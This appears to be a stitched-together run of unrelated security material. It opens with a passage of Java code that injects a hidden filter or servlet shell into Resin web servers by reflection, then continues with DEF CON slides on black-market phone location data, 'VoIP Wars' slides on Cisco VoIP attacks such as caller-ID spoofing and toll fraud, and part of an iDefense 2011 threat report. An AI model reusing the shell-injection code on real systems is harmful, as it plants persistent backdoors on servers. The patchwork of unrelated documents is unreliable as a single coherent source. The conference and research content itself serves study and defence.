classLoader.loadClass("com.example.general.ServletShell"); ServletMapping servletMapping = new ServletMapping(); servletMapping.setServletClass(evilClazz.getName()); servletMapping.setServletName(servletName); servletMapping.addURLPattern(urlPatternX); webApp.addServletMapping(servletMapping); response.getWriter().write("inject success"); /** * Tested version: *     resin3.1.16 *     resin4.0.65 * */ public class ResinFilterInject extends HttpServlet {    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        try {            String filterName = "evilFilter";            String urlPatternX = "/*";            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();            // com.caucho.server.dispatch.ServletInvocation.getContextRequest            Class servletInvocation = classLoader.loadClass("com.caucho.server.dispatch.ServletInvocation");            Object currentRequest = servletInvocation.getMethod("getContextRequest").invoke(null);            // com.caucho.server.connection.AbstractHttpRequest.getWebApp            WebApp webApp = (WebApp) currentRequest.getClass().getMethod("getWebApp").invoke(currentRequest);            // com.caucho.server.webapp.WebApp._filterManager            Field _filterManager = null;            try {                _filterManager = webApp.getClass().getDeclaredField("_filterManager");           }catch (Exception e){                _filterManager = webApp.getClass().getSuperclass().getDeclaredField("_filterManager");           }            _filterManager.setAccessible(true);            FilterManager filterManager = (FilterManager) _filterManager.get(webApp);            // com.caucho.server.dispatch.FilterManager._filters            Field _filtersF = filterManager.getClass().getDeclaredField("_filters");            _filtersF.setAccessible(true);            Map _filters = null;            try{                // resin3.1.16: Hashtable<String, FilterConfigImpl> _filters = new Hashtable();                _filters  = (Hashtable<String, FilterConfigImpl>) _filtersF.get(filterManager);           }catch (Exception e){                // resin4.0.65: HashMap<String, FilterConfigImpl> _filters = new HashMap();                _filters = (HashMap<String, FilterConfigImpl>) _filtersF.get(filterManager);           }            // prevent multiple injection            if(!_filters.containsKey(filterName)){                Class evilClazz = null;                try {                    evilClazz = classLoader.loadClass("com.example.general.FilterShell");               } catch (ClassNotFoundException e) {                    BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();                    byte[] evilFilterBytes = b64Decoder.decodeBuffer("yv66vg......");                    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);                    defineClass.setAccessible(true);                    evilClazz = (Class) defineClass.invoke(classLoader, evilFilterBytes, 0, evilFilterBytes.length);               }                FilterMapping filterMapping = new FilterMapping();                filterMapping.setFilterClass(evilClazz.getName());                filterMapping.setFilterName(filterName); web.xml 测试效果                FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();                urlPattern.addText(urlPatternX);                urlPattern.init();                webApp.addFilterMapping(filterMapping);                response.getWriter().write("inject success");           }       } catch (Exception e) {            e.printStackTrace();       }   } }
pdf
How You Can Buy AT&T, T-Mobile, and Sprint Real-Time Location Data on the Black Market Joseph Cox, DEF CON 27 “There is a new bail bond database company that is geo tracking people. People are reselling o the wrong people. Call me [REDACTED]” Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated We’d like to test the ping— if I give you one of our own US numbers, would that work to test? Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated We’d like to test the ping— if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated We’d like to test the ping— if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure So the number is [REDACTED]. When do you think it will be doable? Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated We’d like to test the ping— if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure So the number is [REDACTED]. When do you think it will be doable? Ok let me figure this out You know more about location data, or anything else you think should be published? Signal: +44 20 8133 5190 Wickr: josephcox Jabber: jfcox@jabber.ccc.de Email: joseph.cox@vice.com • How our source bought that location data • How our source bought that location data • The supply chain of location data, and the different roles companies play in it • How our source bought that location data • The supply chain of location data, and the different roles companies play in it • Leaked documents which show the scale of this location data market—it’s not a one-off • How our source bought that location data • The supply chain of location data, and the different roles companies play in it • Leaked documents which show the scale of this location data market—it’s not a one-off • How people are still getting location data out of the main telecoms through different means, and how that black market trade works • Cell tower data • Few blocks + • Assisted GPS (A-GPS) • Metres • Where inside a building How the hell did he do that??? Carriers Carriers ‘Location Aggregators’ Carriers ‘Location Aggregators’ Data Brokers Carriers ‘Location Aggregators’ Data Brokers End User Clients MY SOURCE MY SOURCE But wait, that’s not the end... ! ! " Carriers ! " Carriers ! " # John Edens John Edens John Edens John Edens You know more about location data, or anything else you think should be published? Signal: +44 20 8133 5190 Wickr: josephcox Jabber: jfcox@jabber.ccc.de Email: joseph.cox@vice.com
pdf
www.senseofsecurity.com.au © Sense of Security 2013 Page ‹#› – 13-Sep-13 Compliance, Protection & Business Confidence Sense of Security Pty Ltd ! Sydney Level 8, 66 King Street Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Drv Docklands VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au ABN: 14 098 237 908 VoIP Wars: Attack of the Cisco Phones www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Speaker • Fatih Ozavci • Senior Security Consultant • Interests • VoIP • Mobile Applications • Network Infrastructure ! • Author of Viproy VoIP Penetration Testing Kit • Public Speaker • Defcon, BlackHat Arsenal, AusCert, Ruxcon 2 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Viproy VoIP Toolkit • Viproy is a Vulcan-ish Word that means "Call" • Viproy VoIP Penetration and Exploitation Kit • Testing modules for Metasploit, MSF license • Old techniques, new approach • SIP library for new module development • Custom header support, authentication support • Trust analyser, SIP proxy bounce, MITM proxy, Skinny • Modules • Options, Register, Invite, Message • Brute-forcers, Enumerator • SIP trust analyser,SIP proxy, Fake service • Cisco Skinny analysers • Cisco UCM/UCDM exploits 3 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Agenda 4 Hosted VoIP 101 Network Attacks Attacking CUCDM Attacking CUCM Attacking SIP Attacking Clients Attacking Skinny www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Hosted VoIP services 5 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Hosted VoIP environment • Vendors are Cisco and VOSS Solutions • Web based services • IP Phone services (Cisco, VOSS* IP Phone XML Services) • Tenant client services management (VOSS* Selfcare) • Tenant* services management (VOSS* Domain Manager) • VoIP services • Skinny (SCCP) services for Cisco phones • SIP services for other tenant phones • RTP services for media streaming • PBX/ISDN gateways, network equipment ! * Tenant => Customer of hosted VoIP service * VOSS => VOSS Solutions, hosted VoIP provider & Cisco partner * VOSS a.k.a Voice Over Super Slick, created by Jason Ostrom 6 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Discovery for hosted VoIP networks • Discover VoIP network configuration, design and requirements • Find Voice VLAN and gain access • Gain access using PC port on IP Phone • Understand the switching security for: • Main vendor for VoIP infrastructure • Network authentication requirements • VLAN ID and requirements • IP Phone management services • Supportive services in use 7 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Protected and isolated? 8 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Switching manipulation • Attack Types • PC Ports of the IP phone and handsets • CDP sniffing/spoofing for Voice VLAN • DTP and VLAN Trunking Protocol attacks • ARP spoofing for MITM attacks • DHCP spoofing & snooping • Persistent access • Tapberry Pi (a.k.a berry-tap) • Tampered phone • Power over ethernet (PoE) • 3G/4G for connectivity 9 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 How to make your own Tapberry Pi 10 RJ45 Connection Pins www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 How to make your own Tapberry Pi 11 Speaker Power Patch the Cat5 cable www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking the TFTP server • Obtaining configuration files for MAC addresses • SEPDefault.cnf, SEPXXXXXXXXXXXX.cnf.xml • SIPDefault.cnf, SIPXXXXXXXXXXXX.cnf.xml • Identifying SIP, Skinny, RTP and web settings • Finding IP phone software and updates • Configuration files may contain credentials • Digital signature/encryption usage for files ! ! ! Tip: TFTPTheft, Metasploit, Viproy TFTP module 12 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Configuration file content • <deviceProtocol>SCCP</deviceProtocol>! • <sshUserId></sshUserId>! • <sshPassword></sshPassword>! ! • <webAccess>1</webAccess>! • <settingsAccess>1</settingsAccess>! • <sideToneLevel>0</sideToneLevel>! • <spanToPCPort>1</spanToPCPort>! • <sshAccess>1</sshAccess>! ! • <phonePassword></phonePassword> 13 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Becoming the TFTP server • Send fake configurations for • HTTP server • IP phone management server • SIP server and proxy • Skinny server • RTP server and proxy • Deploy SSH public keys for SSH on IP Phones • Update custom settings of IP Phones • Deploy custom OS update and code execution ! Tip: Metasploit TFTP & FakeDNS servers, Viproxy 14 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Cisco Hosted Collaboration Suite • Cisco UC Domain Manager • VOSS IP Phone XML services • VOSS Self Care customer portal • VOSS Tenant services management • Cisco UC Manager • Cisco Unified Dialed Number Analyzer • Cisco Unified Reporting • Cisco Unified CM CDR Analysis and Reporting ! • Multiple Vulnerabilities in Cisco Unified Communications Domain Manager http://tools.cisco.com/security/center/content/ CiscoSecurityAdvisory/cisco-sa-20140702-cucdm 15 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 VOSS Self Care Tenant user services • Password & PIN management • Voicemail configuration • Presence • Corporate Directory access • Extension mobility ! Weaknesses • Cross-site scripting vulnerabilities 16 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Account details stored XSS 17 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 VOSS domain manager • Tenant administration services • User management • Location and dial plan management • CLI and number translation configuration ! Weaknesses • User enumeration • Privilege escalation vulnerabilities • Cross-site scripting vulnerabilities • SQL injections and SOAP manipulations 18 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Errors, Information Leakage /emapp/EMAppServlet?device=USER ! ! ! ! /bvsm/iptusermgt/disassociateuser.cgi 19 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Insecure File Upload /bvsm/iptbulkadmin /bvsm/iptbulkloadmgt/bulkloaduploadform.cgi 20 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Privilege Escalation /bvsm/iptusermgt/moduser.cgi (stored XSS, change users’ role) /bvsm/iptadminusermgt/adduserform.cgi?user_type=adminuser ! ! ! ! ! /bvsm/iptnumtransmgt/editnumbertranslationform.cgi?id=1 ! 21 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 IP Phone management VOSS IP Phone XML services • Shared service for all tenants • Call forwarding (Skinny has, SIP has not) • Speed dial management • Voicemail PIN management http://1.2.3.4/bvsmweb/SRV.cgi?device=ID&cfoption=ACT 22 Services • speeddials • changepinform • showcallfwd • callfwdmenu Actions • CallForwardAll • CallForwardBusy www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 IP Phone management • Authentication and Authorisation free! • MAC address is sufficient • Jailbreaking tenant services ! • Viproy Modules • Call Forwarding • Speed Dial 23 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Demonstration of VOSS attacks 24 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Unified Communications • Forget TDM and PSTN • SIP, Skinny, H.248, RTP, MSAN/MGW • Smart customer modems & phones ! • Cisco UCM • Linux operating system • Web based management services • VoIP services (Skinny, SIP, RTP) • Essential network services (TFTP, DHCP) • Call centre, voicemail, value added services 25 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Discovering VoIP servers • Looking for • Signalling servers (e.g. SIP, Skinny, H.323, H.248) • Proxy servers (e.g. RTP, SIP, SDP) • Contact Centre services • Voicemail and email integration • Call recordings, call data records, log servers ! • Discovering • Operating systems, versions and patch level • Management services (e.g. SNMP, Telnet, HTTP, SSH) • Weak or default credentials 26 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking SIP services • Essential analysis • Registration and invitation analysis • User enumeration, brute force for credentials • Discovery for SIP trunks, gateways and trusts • Caller ID spoofing (w/wo register or trunk) ! • Advanced analysis • Finding value added services and voicemail • SIP trust hacking • SIP proxy bounce attack 27 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Cisco specific SIP registration • Extensions (e.g. 1001) • MAC address in Contact field • SIP digest authentication (user + password) • SIP x.509 authentication • All authentication elements must be valid! ! • Good news, we have SIP enumeration inputs! Warning: 399 bhcucm "Line not configured” Warning: 399 bhcucm "Unable to find device/user in database" Warning: 399 bhcucm "Unable to find a device handler for the request received on port 52852 from 192.168.0.101” Warning: 399 bhcucm "Device type mismatch" 28 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Register and Subscribe 29 Register / Subscribe (FROM, TO, Credentials) www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Invite, CDR and Billing tests 30 Invite / Ack / Re-Invite / Update (FROM, TO, VIA, Credentials) www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 SIP Proxy Bounce attack 31 SIP Proxy Bounce Attacks • SIP trust relationship hacking • Attacking inaccessible servers • Attacking the SIP software and protocol • Software, Version, Type, Realm 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Denial of Service attacks 32 SIP based DoS attacks • UDP vulnerabilities and IP spoofing • Too many errors, very very verbose mode • ICMP errors 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service Alderaan IP spoofed UDP SIP request www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Hacking SIP trust relationships 33 Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains Spoofed IP and Port, the caller ID will be your trusted host. IP spoofed UDP SIP request From field has IP and Port 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust Universal Trust Tatooine www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking a client using SIP trust 34 IP spoofed UDP SIP request From field has bogus characters 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust Universal Trust Tatooine It’s a TRAP! Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains special number, you will have fun or voicemail access. www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Toll fraud for CUCM • Cisco UCM accepts MAC address as identity • No authentication (secure deployment?) • Rogue SIP gateway with no authentication • Caller ID spoofing with proxy headers • Via field, From field • P-Asserted-Identity, P-Called-Party-ID • P-Preferred-Identity • ISDN Calling Party Number, Remote-Party-ID* • Billing bypass with proxy headers • P-Charging-Vector (Spoofing, Manipulating) • Re-Invite, Update (With/Without P-Charging-Vector) ! * https://tools.cisco.com/bugsearch/bug/CSCuo51517 35 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Remote-Party-ID header 36 Source: Cisco CUCM SIP Line Messaging Guide www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Caller ID spoofing on CUCM Remote-Party-ID header Remote-Party-ID: <sip:007@1.2.3.4>;party=called;screen=yes;privacy=off ! What for? • Caller ID spoofing • Billing bypass • Accessing voicemail • 3rd party operators 37 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Caller ID fraud for all operators? • Telecom operators trust source Caller ID • One insecure operator to rule them all 38 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Fake Caller ID for messages? • Call me back function on voicemail / calls • Sending many spoofed messages for DoS • Overseas? Roaming? • Social engineering (voicemail notification) • Value added services • Add a data package to my line • Subscribe me to a new mobile TV service • Reset my password/PIN/2FA • Group messages, celebrations 39 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Demonstration of SIP attacks 40 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 VoIP client security • Different Client Types • Mobile, Desktop, Teleconference, Handsets • Information Disclosure • Unnecessary services and ports (SNMP, FTP) • Weak management services (Telnet, SSH, HTTP) • Stored credentials and sensitive information • Unauthorised Access • Password or TFTP attacks, enforced upgrades • Weak VoIP Services • Clients may accept direct invite, register or notify 41 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Cisco VoIP clients • Cisco IP Phones • Cisco IP Communicator • Cisco Unified Personal Communicator • Cisco Webex Client • Cisco Jabber services • Cisco Jabber Voice/Video • IM for 3rd party clients • Mobile, desktop, Mac • Jabber SDK for web 42 Source: www.arkadin.com www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Rogue services and DSITM • Use ARP/DNS Spoof & VLAN hopping & Manual config • Collect credentials, hashes, information • Change client's request to add a feature (e.g. Spoofing) • Change the SDP features to redirect calls • Add a proxy header to bypass billing & CDR • Manipulate request at runtime to find BoF vulnerabilities • Trigger software upgrades for malwared executables 43 Death Star in the Middle www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking a client using SIP service • Caller ID spoofed messages • to install a malicious application or an SSL certificate • to redirect voicemails or calls • Fake caller ID for Scam, Vishing or Spying • Manipulate the content or content-type on messaging • Trigger a crash/BoF on the remote client • Inject cross-site scripting to the conversation ! • Proxies with TLS+TCP interception and manipulation • Viproxy (github.com/fozavci/viproxy) • MITMproxy 44 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 SMS phishing using SIP messages 45 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking a client using SIP trust • SIP server redirects a few fields to client • FROM, FROM NAME, Contact • Other fields depend on server (e.g. SDP, MIME) • Message content • Clients have buffer overflow in FROM? • Send 2000 chars to test it ! • Crash it or execute your shellcode if available • Clients trust SIP servers and trust is UDP based • Trust hacking module can be used for the trust between server and client too. • Viproy Penetration Testing Kit SIP Modules • Simple fuzz support (FROM=FUZZ 2000) • You can modify it for further attacks 46 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking a client using SIP trust 47 IP spoofed UDP SIP request From field has bogus characters 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust Universal Trust Tatooine Crash! Adore iPhone App Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains exploit, the client will be your stormtrooper. www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking clients using VoIP 48 Video demo for SIP based client attacks • Manipulating instant messaging between clients • Initiate a call using fake Caller ID • Send a fake message from the Operator • Send bogus message to crash • Send too many calls and create a crash ! www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking Skinny services • Cisco Skinny (SCCP) • Binary, not plain text • Different versions • No authentication • MAC address is identity • Auto registration ! • Basic attacks • Register as a phone • Disconnect other phones • Call forwarding • Unauthorised calls 49 Source: Cisco www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Other Skinny researches • Skinny vulnerabilities published http://tools.cisco.com/security/center/content/ CiscoSecurityAdvisory/cisco-sa-20120229-cucm by Felix Lindner http://www.cisco.com/c/en/us/support/docs/csa/cisco- sa-20100303-cucm.html by Sipera VIPER Lab • IxVoice SCCP (Skinny) Test Library • VIPER UCSniff supports Skinny • VIPER LAVA has Skinny support(?) ! VoIP Security not found. Did you mean Jason Ostrom? He is not only passionate about VoIP… 50 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking Skinny services 51 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking Skinny services Viproy has a Skinny library for easier development and sample attack modules • Skinny auto registration • Skinny register • Skinny call • Skinny call forwarding 52 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Attacking Skinny services Everybody can develop a Skinny module now, even Ewoks! ! Register Unauthorised Call 53 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Preparing a proper client for Skinny • Install Cisco IP Communicator • Change the MAC address of Windows • Register the software with this MAC 54 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Demonstration of Skinny attacks 55 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Summary 56 Hosted VoIP 101 Network Attacks Attacking CUCDM Attacking CUCM Attacking SIP Attacking Clients Attacking Skinny www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Solutions • Install the Cisco security patches • From CVE-2014-3277 to CVE-2014-3283, CVE-2014-2197, CVE-2014-3300 • CSCum75078, CSCun17309, CSCum77041, CSCuo51517, CSCum76930, CSCun49862 • Secure network design • IP phone services MUST be DEDICATED, not SHARED • Secure deployment with PKI • Authentication with X.509, software signatures • Secure SSL configuration • Secure protocols • Skinny authentication, SIP authentication • HTTP instead of TFTP, SSH instead of Telnet 57 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 References • Viproy Homepage and Documentation http://www.viproy.com ! • Attacking SIP servers using Viproy VoIP Kit https://www.youtube.com/watch?v=AbXh_L0-Y5A ! • VoIP Pen-Test Environment – VulnVoIP http://www.rebootuser.com/?cat=371 ! • Credits and thanks go to… Sense of Security Team, Jason Ostrom, Mark Collier, Paul Henry, Sandro Gauci 58 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 Questions ? 59 www.senseofsecurity.com.au © Sense of Security 2014 Page of 58 – Aug-14 60 Thank you Recognised as Australia’s fastest growing information security and risk management consulting firm through the Deloitte Technology Fast 50 & BRW Fast 100 programs Head office is level 8, 66 King Street, Sydney, NSW 2000, Australia. Owner of trademark and all copyright is Sense of Security Pty Ltd. Neither text or images can be reproduced without written permission. T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au
pdf
An Excerpt from the iDefense 2011 Cyber Threats and Trends Report Dec. 1, 2010 The Verisign® iDefense® Intelligence Operations Team Contents 1 Technology Trends 3 1.1 Malicious Code Trends 3 1.1.1 Anti-analysis Tactics Become More Restrictive 3 1.1.2 Mobile Malware 4 1.1.3 Malware and 64-bit Platforms 5 1.1.4 Low-Distribution (APT) Malware Hiding in Plain Sight 6 1.2 Vulnerability Trends 7 1.2.1 Increase in Out-of-Band Patches from Notable Software Vendors 7 1.2.2 Changing Vulnerability Disclosure Landscape 9 1.2.3 Vendor Bounty Programs 10 1.2.3.1 Mozilla Security Bug Bounty Program 10 1.2.3.2 Google Security Bug Bounty Program 11 2 Disruptors 13 2.1 Introduction 13 2.2 Disruptor: Convergence of the “App Store” Model and Traditional Computing 15 2.3 Disruptor: The Vulnerable Cloud 18 2.4 Disruptors Conclusion 21 3 Disruptors 1 Technology Trends 1.1 Malicious Code Trends 1.1.1 Anti-analysis Tactics Become More Restrictive In 2010, iDefense observed more malware samples that included anti-analysis tactics. Malware authors use anti-analysis techniques to frustrate individuals attempting to analyze their code. The tactics that iDefense observed during 2010 included virtual machine (VM) detection, sandbox detection and hardware-locking mechanisms. The VM and sandbox-detection anti-analysis techniques are by no means a new concept. Many malware families check the environment for artifacts of analysis systems, such as VM hard drive drivers and VM processes. In addition, iDefense observed an increase in malware families that incorporate VM-detection techniques. For example, when iDefense first analyzed the Mariposa Trojan (BFBot) in 2009,1 it only checked for artifacts related to a sandbox environment and if the Trojan was operating within a debugger. In July 2010, iDefense analyzed a Mariposa sample that also checked for video card drivers related to virtual machines. The addition of new checks suggests that malware authors see the benefits of including VM detection in their code. Even malware samples that are noisy and blatantly obvious to the victim have begun using VM detection. iDefense analyzed a dropper Trojan that installed a Trojan whose sole purpose was to perform click-fraud and display advertising pop-ups on the system. This type of Trojan does not attempt to be stealthy; however, iDefense noticed the following code within the dropper Trojan that detects a VMware environment based on VMware’s ComChannel: // Moves “VX” into EDX, then uses the VM ComChannel “IN” command 004012FB . BA 58560000 MOV EDX,5658 00401300 . ED IN EAX,DX 00401301 . 90 NOP 00401302 . 87D9 XCHG ECX,EBX 00401304 . 87CB XCHG EBX,ECX // Checks to see if EBX has “VMXh” in it, if true it terminates 00401306 . 81FB 68584D56 CMP EBX,564D5868 In addition to an increase in the use of VM detection, iDefense observed malware that locks itself to a system to thwart analysis on another system. The notorious Zeus banking Trojan, specifically versions 2 and later, includes a hardware-locking mechanism that will modify the Trojan to only run on the infected system. The Trojan accomplishes this locking by obtaining unique information from the local system and writing the information to its binary stored on the system. Upon execution, the Trojan compares the information included in the binary with the same information located on the system and will terminate if there are any differences. This hardware-locking technique is very effective and drastically increases the amount of effort required to analyze the sample on an analysis system. 1 iDefense Malicious Code Summary Report (ID# 536506, Oct. 28, 2009). “Malware authors use anti-analysis techniques to frustrate individuals attempting to analyze their code.” 4 Disruptors The increase in the use of anti-analysis tactics suggests that malware developers have considered the pros and cons involved with such tactics. The main con that malware developers accept with anti-analysis techniques is that their code will run on fewer systems; however, malware developers seem to weigh the pro of avoiding execution on analysis systems over the negative side effect of fewer infections. Efforts to avoid analysis show that malware continues to shift from a goal of spreading quickly to malware with an emphasis on stealth. iDefense predicts that at least one major family will appear in 2011 that uses new, stricter anti-analysis tactics. 1.1.2 Mobile Malware Users are increasingly using mobile devices to send e-mails, perform transactions for online banking and store personal information. Some of the new popular applications track personal health or fitness information, scan barcodes, and help with time management. The ability for new mobile devices to track such a wealth of information and provide detailed real-time information draws more users to mobile platforms. Modern mobile devices allow applications to track real-time global positions, facing direction and even gravitational forces. It is no surprise that users want to develop applications that access this type of information because it will increase those users’ interaction with both the real world and the electronic world from their mobile devices. iDefense first identified mobile platforms as a disruptive technology for security in 2007. Mobile operating system vendors and telecommunications companies still wish to control applications that users may run on their mobile phones. Their primary reasons might be to satisfy laws, limit bandwidth usage, limit abuse, reduce maintenance costs and capitalize on existing communications such as short message service (SMS). Mobile users, however, want to utilize mobile devices to install new applications without permission, and the community interested in jailbreaking devices has grown in the past year. Now that jailbreaking is officially legal, according to a press release by the Electronic Frontier Foundation (EFF),2 community efforts to subvert these security controls are likely to continue to escalate. In August 2010, one website, jailbreakme.com, released code to jailbreak the iPhone simply by visiting its website. Upon visiting, the code uses a zero-day exploit to execute code on visitors’ phones to disable the security measures and enable non-official applications to run. The ease of jailbreaking the iPhone by visiting this website demonstrates that even novice users can jailbreak their mobile devices. If attackers had the information that jailbreakme.com uses, they could have written a mobile worm that after jailbreaking a phone attempts to spread to other phone contacts. A worm using this type of vulnerability has not happened, however, and the jailbreaking community’s intent is largely not currently malicious, even though those who are part of that community are more active than attackers in developing exploits for mobile devices. As a side effect, jailbroken phones are less secure than their non-jailbroken counterparts, which could encourage more attackers to target jailbroken devices with malicious code. 2 Staff. “EFF Wins New Legal Protections for Video Artists, Cell Phone Jailbreakers, and Unlockers.” July 26, 2010. EFF. http://www. eff.org/press/archives/2010/07/26. “The ease of jailbreaking the iPhone by visiting this website demonstrates that even novice users can jailbreak their mobile devices.” 5 Disruptors Financially motivated attacks against mobile devices also exist. The most popular of financially motivated attacks installs applications that make phone calls to premium-rate phone numbers; however, there is also malicious mobile software that works with banking Trojans that affect computers running Microsoft Windows. On Sept. 27, 2010, iDefense received samples of a Zeus binary that has a secondary payload to target certain brands of mobile phones in the UK. Upon infecting a Microsoft Windows system, the Zeus binary injects HTML into banking websites to convince users to install an application on their mobile phones. Once installed, the application monitors SMS messages and relays those messages to an attacker’s UK phone number to defeat one- time-password (OTP) challenges. Mobile devices continue to be a segmented market with many choices including iPhone, Android, Symbian, BlackBerry and Windows Mobile. Users in the US have purchased more Android devices than iPhones in 2010 so far.3 Android has a less controlled application store, which may be one of the reasons for its increase in popularity. In 2011, iDefense predicts that at least one malicious application in the Android store will receive 50,000 downloads. 1.1.3 Malware and 64-bit Platforms While rare to find on desktops just 5 years ago, 64-bit processors have become standard equipment for even the least expensive laptops on the market today. The primary advantage this architecture has over its 32-bit predecessor is a larger address space for memory. While the maximum number a computer can express with 32 bits is just greater than 4 billion, 64 bits can represent numbers more than 18 quintillion (that is 18 billion billion). To put more than 4 gigabytes (GB) of memory into a computer, that computer must be able to support these larger numbers so the processor can easily address each byte of memory. With processor support in place, the operating system (OS) must also support this architecture to allow users to make use of the extra space. While 64-bit versions of Windows XP and Windows Vista both exist, their adoption rate is very low compared to Microsoft’s latest OS, Windows 7. In July 2010, 46 percent of Windows 7 installations used the 64-bit version of the OS compared to just 11 percent for Windows Vista and less than 1 percent for Windows XP.4 As more users begin using Windows 7 and dispose of their older Windows XP and Vista systems, 64-bit versions of Windows will make up a significant portion of the Windows ecosystem. This change will force malware authors to adapt, as 64-bit versions of Windows contain additional security features not present in 32-bit distributions. Most importantly, 64-bit versions include Kernel Patch Protection (KPP), or PatchGuard. This feature prevents 64-bit versions of Windows from loading kernel drivers that developers have not signed with a legitimate Authenticode signing certificate. One category of malware that often requires access to the kernel to operate properly is that of rootkits. These types of 3 Tofel, Kevin C. “Android Sales Overtake iPhone in the U.S.” Aug. 2, 2010. Gigaom. http://gigaom.com/2010/08/02/android-sales- overtake-iphone-in-the-u-s/. 4 LeBlanc, Brandon. “64-Bit Momentum Surges with Windows 7.” July 8, 2010. Windows. http://windowsteamblog.com/windows/b/ bloggingwindows/archive/2010/07/08/64-bit-momentum-surges-with-windows-7.aspx. “In 2011, 